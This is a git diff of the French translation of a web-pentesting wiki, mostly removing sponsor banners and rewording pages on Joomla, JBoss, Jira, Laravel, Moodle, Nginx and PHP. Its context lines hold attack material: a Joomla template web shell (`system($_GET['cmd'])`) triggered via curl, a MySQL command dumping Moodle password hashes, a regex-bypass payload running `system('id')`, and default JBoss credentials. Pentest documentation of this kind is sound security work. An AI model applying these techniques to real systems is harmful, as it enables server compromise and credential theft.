trouver des chemins vers un type donné. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html) : Peut être utilisé comme autonome ou [extension Burp](https://github.com/doyensec/inql). - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) : Peut également être utilisé comme client CLI pour automatiser les attaques -- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil qui liste les différentes manières de **rejoindre un type donné dans un schéma GraphQL**. +- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil qui répertorie les différentes manières de **atteindre un type donné dans un schéma GraphQL**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) : Le successeur des modes autonome et CLI d'InQL - [https://github.com/doyensec/inql](https://github.com/doyensec/inql) : Extension Burp pour des tests GraphQL avancés. Le _**Scanner**_ est le cœur d'InQL v5.0, où vous pouvez analyser un point de terminaison GraphQL ou un fichier de schéma d'introspection local. Il génère automatiquement toutes les requêtes et mutations possibles, les organisant dans une vue structurée pour votre analyse. Le composant _**Attacker**_ vous permet d'exécuter des attaques GraphQL en lot, ce qui peut être utile pour contourner des limites de taux mal implémentées. - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance) : Essayer d'obtenir le schéma même avec l'introspection désactivée en utilisant l'aide de certaines bases de données Graphql qui suggéreront les noms des mutations et des paramètres. @@ -588,10 +583,5 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md index ebd8b1977..1132de68a 100644 --- a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -2,8 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - Page officielle : [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) ## Accès @@ -20,7 +18,7 @@ _**Astuce de la box Hawk de HTB.**_ ## **RCE** -Ayant accès pour communiquer avec la base de données H2, vérifiez cet exploit pour obtenir RCE : [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) +Ayant accès pour communiquer avec la base de données H2, vérifiez cet exploit pour obtenir RCE dessus : [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) ## Injection SQL H2 vers RCE @@ -35,6 +33,4 @@ Dans [**ce post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/), }, [...] ``` -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/jboss.md b/src/network-services-pentesting/pentesting-web/jboss.md index d1b7bf4a6..ee2edcbf7 100644 --- a/src/network-services-pentesting/pentesting-web/jboss.md +++ b/src/network-services-pentesting/pentesting-web/jboss.md @@ -2,15 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
-**Conseil de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Techniques d'énumération et d'exploitation -Lors de l'évaluation de la sécurité des applications web, certains chemins comme _/web-console/ServerInfo.jsp_ et _/status?full=true_ sont essentiels pour révéler des **détails sur le serveur**. Pour les serveurs JBoss, des chemins tels que _/admin-console_, _/jmx-console_, _/management_, et _/web-console_ peuvent être cruciaux. Ces chemins peuvent permettre l'accès à des **servlets de gestion** avec des identifiants par défaut souvent définis sur **admin/admin**. Cet accès facilite l'interaction avec les MBeans via des servlets spécifiques : +Lors de l'évaluation de la sécurité des applications web, certains chemins comme _/web-console/ServerInfo.jsp_ et _/status?full=true_ sont essentiels pour révéler **les détails du serveur**. Pour les serveurs JBoss, des chemins tels que _/admin-console_, _/jmx-console_, _/management_, et _/web-console_ peuvent être cruciaux. Ces chemins peuvent permettre l'accès à des **servlets de gestion** avec des identifiants par défaut souvent définis sur **admin/admin**. Cet accès facilite l'interaction avec les MBeans via des servlets spécifiques : - Pour les versions JBoss 6 et 7, **/web-console/Invoker** est utilisé. - Dans JBoss 5 et les versions antérieures, **/invoker/JMXInvokerServlet** et **/invoker/EJBInvokerServlet** sont disponibles. @@ -23,12 +19,8 @@ Pour exploiter les vulnérabilités, des ressources telles que [JexBoss](https:/ ### Trouver des cibles vulnérables -Google Dorking peut aider à identifier des serveurs vulnérables avec une requête comme : `inurl:status EJInvokerServlet` +Le Google Dorking peut aider à identifier des serveurs vulnérables avec une requête comme : `inurl:status EJInvokerServlet` -
-**Conseil de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md index 83027d5fb..bfaaa7eb0 100644 --- a/src/network-services-pentesting/pentesting-web/jira.md +++ b/src/network-services-pentesting/pentesting-web/jira.md @@ -2,15 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} - ## Vérifier les privilèges -Dans Jira, **les privilèges peuvent être vérifiés** par tout utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable se pose lorsque **des utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible à une **récompense**. De même, **des privilèges inattendus pour les utilisateurs authentifiés** mettent également en évidence une **vulnérabilité**. +Dans Jira, **les privilèges peuvent être vérifiés** par tout utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable surgit lorsque **des utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible à une **récompense**. De même, **des privilèges inattendus pour les utilisateurs authentifiés** soulignent également une **vulnérabilité**. Une **mise à jour** importante a été effectuée le **1er février 2019**, exigeant que le point de terminaison 'mypermissions' inclue un **paramètre 'permission'**. Cette exigence vise à **améliorer la sécurité** en spécifiant les privilèges demandés : [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) @@ -111,15 +105,9 @@ Voici quelques-unes des actions qu'un plugin malveillant pourrait effectuer : - **Cacher les plugins des administrateurs** : Il est possible de cacher le plugin malveillant en injectant du javascript front-end. - **Exfiltration des pièces jointes et des pages** : Permet d'accéder et d'exfiltrer toutes les données. -- **Vol des tokens de session** : Ajouter un point de terminaison qui renverra les en-têtes dans la réponse (avec le cookie) et un peu de javascript qui le contactera et divulguera les cookies. +- **Vol de jetons de session** : Ajouter un point de terminaison qui renverra les en-têtes dans la réponse (avec le cookie) et un peu de javascript qui le contactera et divulguera les cookies. - **Exécution de commandes** : Bien sûr, il est possible de créer un plugin qui exécutera du code. - **Shell inversé** : Ou obtenir un shell inversé. - **Proxy DOM** : Si le confluence est à l'intérieur d'un réseau privé, il serait possible d'établir une connexion via le navigateur d'un utilisateur ayant accès et, par exemple, de contacter le serveur pour exécuter des commandes à travers lui. -
- -Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 5ca3a5d37..59fe5e6be 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours en auto-apprentissage et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} ### Statistiques Joomla @@ -42,7 +37,7 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool ### Découverte/Profilage -- Vérifiez les **méta** +- Vérifiez les **meta** ```bash curl https://www.joomla.org/ | grep Joomla | grep generator @@ -76,7 +71,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator ```bash droopescan scan joomla --url http://joomla-site.local/ ``` -Dans[ **80,443 - La méthodologie de pentesting Web est une section sur les scanners CMS**](./#cms-scanners) qui peuvent scanner Joomla. +Dans[ **80,443 - La méthodologie de pentesting web est une section sur les scanners CMS**](./#cms-scanners) qui peuvent scanner Joomla. ### Divulgation d'informations non authentifiées via l'API : @@ -97,11 +92,11 @@ admin:admin ``` ## RCE -Si vous parvenez à obtenir des **identifiants administratifs**, vous pouvez **RCE à l'intérieur** en ajoutant un extrait de **code PHP** pour obtenir **RCE**. Nous pouvons le faire en **personnalisant** un **modèle**. +Si vous parvenez à obtenir des **identifiants admin**, vous pouvez **RCE à l'intérieur** en ajoutant un extrait de **code PHP** pour obtenir **RCE**. Nous pouvons le faire en **personnalisant** un **template**. -1. **Cliquez** sur **`Templates`** en bas à gauche sous `Configuration` pour faire apparaître le menu des modèles. -2. **Cliquez** sur un nom de **modèle**. Choisissons **`protostar`** sous l'en-tête de colonne `Template`. Cela nous amènera à la page **`Templates: Customise`**. -3. Enfin, vous pouvez cliquer sur une page pour faire apparaître le **code source** de la page. Choisissons la page **`error.php`**. Nous ajouterons une **ligne de code PHP pour obtenir une exécution de code** comme suit : +1. **Cliquez** sur **`Templates`** en bas à gauche sous `Configuration` pour faire apparaître le menu des templates. +2. **Cliquez** sur un nom de **template**. Choisissons **`protostar`** sous l'en-tête de colonne `Template`. Cela nous amènera à la page **`Templates: Customise`**. +3. Enfin, vous pouvez cliquer sur une page pour faire apparaître le **code source** de la page. Choisissons la page **`error.php`**. Nous ajouterons un **PHP one-liner pour obtenir l'exécution de code** comme suit : 1. **`system($_GET['cmd']);`** 4. **Enregistrer & Fermer** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` @@ -109,14 +104,9 @@ Si vous parvenez à obtenir des **identifiants administratifs**, vous pouvez **R ## De XSS à RCE - [**JoomSploit**](https://github.com/nowak0x01/JoomSploit) : Script d'exploitation Joomla qui **élève XSS à RCE ou d'autres vulnérabilités critiques**. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions Joomla 5.X.X, 4.X.X et 3.X.X, et permet de :** -- _**Élévation de privilèges :**_ Crée un utilisateur dans Joomla. -- _**(RCE) Édition de modèles intégrés :**_ Édite des modèles intégrés dans Joomla. +- _**Escalade de privilèges :**_ Crée un utilisateur dans Joomla. +- _**(RCE) Édition de templates intégrés :**_ Édite des templates intégrés dans Joomla. - _**(Personnalisé) Exploits personnalisés :**_ Exploits personnalisés pour des plugins Joomla tiers. -
- -Approfondissez votre expertise en **sécurité mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index df746e916..ba5f4a9f5 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -2,30 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} ## Astuces Laravel ### Mode de débogage Si Laravel est en **mode de débogage**, vous pourrez accéder au **code** et aux **données sensibles**.\ -Par exemple `http://127.0.0.1:8000/profiles` : +Par exemple `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Cela est généralement nécessaire pour exploiter d'autres CVE RCE de Laravel. +Ceci est généralement nécessaire pour exploiter d'autres CVE RCE de Laravel. ### .env -Laravel enregistre l'APP qu'il utilise pour chiffrer les cookies et d'autres identifiants dans un fichier appelé `.env` qui peut être accessible en utilisant un certain chemin de traversée sous : `/../.env` +Laravel sauvegarde l'APP qu'il utilise pour chiffrer les cookies et d'autres identifiants dans un fichier appelé `.env` qui peut être accessible en utilisant un certain chemin de traversée sous : `/../.env` -Laravel affichera également ces informations sur la page de débogage (qui apparaît lorsque Laravel trouve une erreur et qu'elle est activée). +Laravel affichera également cette information sur la page de débogage (qui apparaît lorsque Laravel trouve une erreur et qu'elle est activée). -En utilisant la clé APP_KEY secrète de Laravel, vous pouvez déchiffrer et re-chiffrer les cookies : +En utilisant la clé secrète APP_KEY de Laravel, vous pouvez déchiffrer et re-chiffrer les cookies : ### Déchiffrer le cookie ```python @@ -88,7 +83,7 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 ``` ### Laravel Désérialisation RCE -Versions vulnérables : 5.5.40 et 5.6.x à travers 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +Versions vulnérables : 5.5.40 et 5.6.x jusqu'à 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) Vous pouvez trouver des informations sur la vulnérabilité de désérialisation ici : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) @@ -103,10 +98,5 @@ Une autre désérialisation : [https://github.com/ambionics/laravel-exploits](ht Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 5db861c89..ec2fb0ae9 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Conseil de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Scans Automatiques @@ -68,7 +63,7 @@ cmsmap http://moodle.example.com/ ``` ### CVEs -J'ai trouvé que les outils automatiques sont assez **inutiles pour trouver des vulnérabilités affectant la version de moodle**. Vous pouvez **vérifier** cela sur [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) +J'ai constaté que les outils automatiques sont assez **inutiles pour trouver des vulnérabilités affectant la version de moodle**. Vous pouvez **vérifier** cela sur [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** @@ -98,10 +93,4 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` -
- -**Conseil sur les bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index c069ccbca..390695578 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -2,17 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Missing root location -Lors de la configuration du serveur Nginx, la **directive root** joue un rôle critique en définissant le répertoire de base à partir duquel les fichiers sont servis. Considérez l'exemple ci-dessous : +Lors de la configuration du serveur Nginx, la **directive root** joue un rôle crucial en définissant le répertoire de base à partir duquel les fichiers sont servis. Considérez l'exemple ci-dessous : ```bash server { root /etc/nginx; @@ -100,12 +93,12 @@ Detectify: clrf ``` En savoir plus sur les risques d'injection CRLF et de séparation de réponse à [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). -Cette technique est également [**expliquée dans cette présentation**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) avec des exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration d'un point de vue boîte noire, vous pourriez utiliser ces requêtes : +Cette technique est également [**expliquée dans cette présentation**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) avec des exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration d'un point de vue blackbox, vous pourriez utiliser ces requêtes : - `https://example.com/%20X` - Tout code HTTP - `https://example.com/%20H` - 400 Bad Request -Si vulnérable, la première renverra car "X" est n'importe quelle méthode HTTP et la seconde renverra une erreur car H n'est pas une méthode valide. Ainsi, le serveur recevra quelque chose comme : `GET / H HTTP/1.1` et cela déclenchera l'erreur. +Si vulnérable, la première renverra "X" car c'est n'importe quelle méthode HTTP et la seconde renverra une erreur car H n'est pas une méthode valide. Ainsi, le serveur recevra quelque chose comme : `GET / H HTTP/1.1` et cela déclenchera l'erreur. D'autres exemples de détection seraient : @@ -179,11 +172,11 @@ Comme indiqué dans [**cet article**](https://mizu.re/post/cors-playground), il - `X-Accel-Redirect` : Indique à Nginx de rediriger en interne une requête vers un emplacement spécifié. - `X-Accel-Buffering` : Contrôle si Nginx doit mettre en mémoire tampon la réponse ou non. -- `X-Accel-Charset` : Définit le jeu de caractères pour la réponse lors de l'utilisation de X-Accel-Redirect. +- `X-Accel-Charset` : Définit l'ensemble de caractères pour la réponse lors de l'utilisation de X-Accel-Redirect. - `X-Accel-Expires` : Définit le temps d'expiration pour la réponse lors de l'utilisation de X-Accel-Redirect. - `X-Accel-Limit-Rate` : Limite le taux de transfert pour les réponses lors de l'utilisation de X-Accel-Redirect. -Par exemple, l'en-tête **`X-Accel-Redirect`** provoquera une **redirection** interne dans Nginx. Ainsi, avoir une configuration Nginx avec quelque chose comme **`root /`** et une réponse du serveur web avec **`X-Accel-Redirect: .env`** fera en sorte que Nginx envoie le contenu de **`/.env`** (Path Traversal). +Par exemple, l'en-tête **`X-Accel-Redirect`** provoquera une **redirection** interne dans Nginx. Ainsi, avoir une configuration Nginx avec quelque chose comme **`root /`** et une réponse du serveur web avec **`X-Accel-Redirect: .env`** fera que Nginx enverra le contenu de **`/.env`** (Path Traversal). ### **Valeur par défaut dans la directive Map** @@ -216,11 +209,11 @@ resolver 8.8.8.8; ``` ### **`proxy_pass` et directives `internal`** -La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, que ce soit en interne ou en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'au sein de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen minutieux pour éviter des lacunes de sécurité. +La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, soit en interne, soit en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'au sein de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen minutieux pour éviter des lacunes de sécurité. ## proxy_set_header Upgrade & Connection -Si le serveur nginx est configuré pour passer les en-têtes Upgrade et Connection, une [**attaque de Smuggling h2c**](../../pentesting-web/h2c-smuggling.md) pourrait être réalisée pour accéder à des points de terminaison protégés/internes. +Si le serveur nginx est configuré pour passer les en-têtes Upgrade et Connection, une [**attaque h2c Smuggling**](../../pentesting-web/h2c-smuggling.md) pourrait être réalisée pour accéder à des points de terminaison protégés/internes. > [!CAUTION] > Cette vulnérabilité permettrait à un attaquant de **stablish a direct connection with the `proxy_pass` endpoint** (`http://backend:9999` dans ce cas) dont le contenu ne sera pas vérifié par nginx. @@ -258,7 +251,7 @@ Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour config ### [GIXY](https://github.com/yandex/gixy) -Gixy est un outil pour analyser la configuration de Nginx. L'objectif principal de Gixy est de prévenir les mauvaises configurations de sécurité et d'automatiser la détection des défauts. +Gixy est un outil pour analyser la configuration Nginx. L'objectif principal de Gixy est de prévenir les mauvaises configurations de sécurité et d'automatiser la détection des défauts. ### [Nginxpwner](https://github.com/stark0de/nginxpwner) @@ -270,12 +263,5 @@ Nginxpwner est un outil simple pour rechercher des mauvaises configurations et d - [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) - [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index df531b698..2e87ddbf8 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -1,14 +1,7 @@ -# Astuces PHP +# PHP Tricks {{#include ../../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Emplacement commun des cookies : @@ -42,7 +35,7 @@ Tables de comparaison PHP : [https://www.php.net/manual/en/types.comparisons.php - `"0xAAAA" == "43690" -> True` Les chaînes composées de nombres en format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec un résultat True si les nombres étaient les mêmes (les nombres dans une chaîne sont interprétés comme des nombres) - `"0e3264578" == 0 --> True` Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0 - `"0X3264578" == 0X --> True` Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0 -- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver **des chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver **des chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` N'importe quelle lettre dans une chaîne est égale à int 0 Plus d'infos sur [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -114,12 +107,12 @@ Astuce provenant de : [https://simones-organization-4.gitbook.io/hackbook-of-a-h
-En résumé, le problème se produit parce que les fonctions `preg_*` en PHP reposent sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont correspondues en utilisant beaucoup d'appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ce qui est plus que ce qui peut tenir dans la pile. +En résumé, le problème se produit parce que les fonctions `preg_*` en PHP s'appuient sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont correspondues en utilisant beaucoup d'appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ce qui est plus que ce qui peut tenir dans la pile. [Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où il est question plus en profondeur de ce problème. Notre tâche était maintenant claire :\ **Envoyer une entrée qui ferait faire 100_000+ récursions à l'expression régulière, provoquant un SIGSEGV, faisant que la fonction `preg_match()` retourne `false`, faisant ainsi croire à l'application que notre entrée n'est pas malveillante, lançant la surprise à la fin de la charge utile quelque chose comme `{system()}` pour obtenir SSTI --> RCE --> flag :)**. -Eh bien, en termes d'expressions régulières, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", qui, comme le [document PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) l'indique, par défaut à 1_000_000 (1M) dans la variable `pcre.backtrack_limit`.\ +Eh bien, en termes d'expressions régulières, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", qui, comme le précise la [documentation PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), par défaut à 1_000_000 (1M) dans la variable `pcre.backtrack_limit`.\ Pour atteindre cela, `'X'*500_001` donnera 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) : ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" @@ -147,21 +140,21 @@ header('Location: /index.php?page=default.html'); readfile($page); ?> ``` -## Traversée de chemin et exploitation de l'inclusion de fichiers +## Path Traversal and File Inclusion Exploitation -Vérifiez : +Check: {{#ref}} ../../../pentesting-web/file-inclusion/ {{#endref}} -## Plus d'astuces +## More tricks -- **register_globals** : Dans **PHP < 4.1.1.1** ou si mal configuré, **register_globals** peut être actif (ou son comportement est imité). Cela implique que dans des variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables\*\* qui sont utilisées dans le code. -- Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins**, vous pouvez faire en sorte qu'un 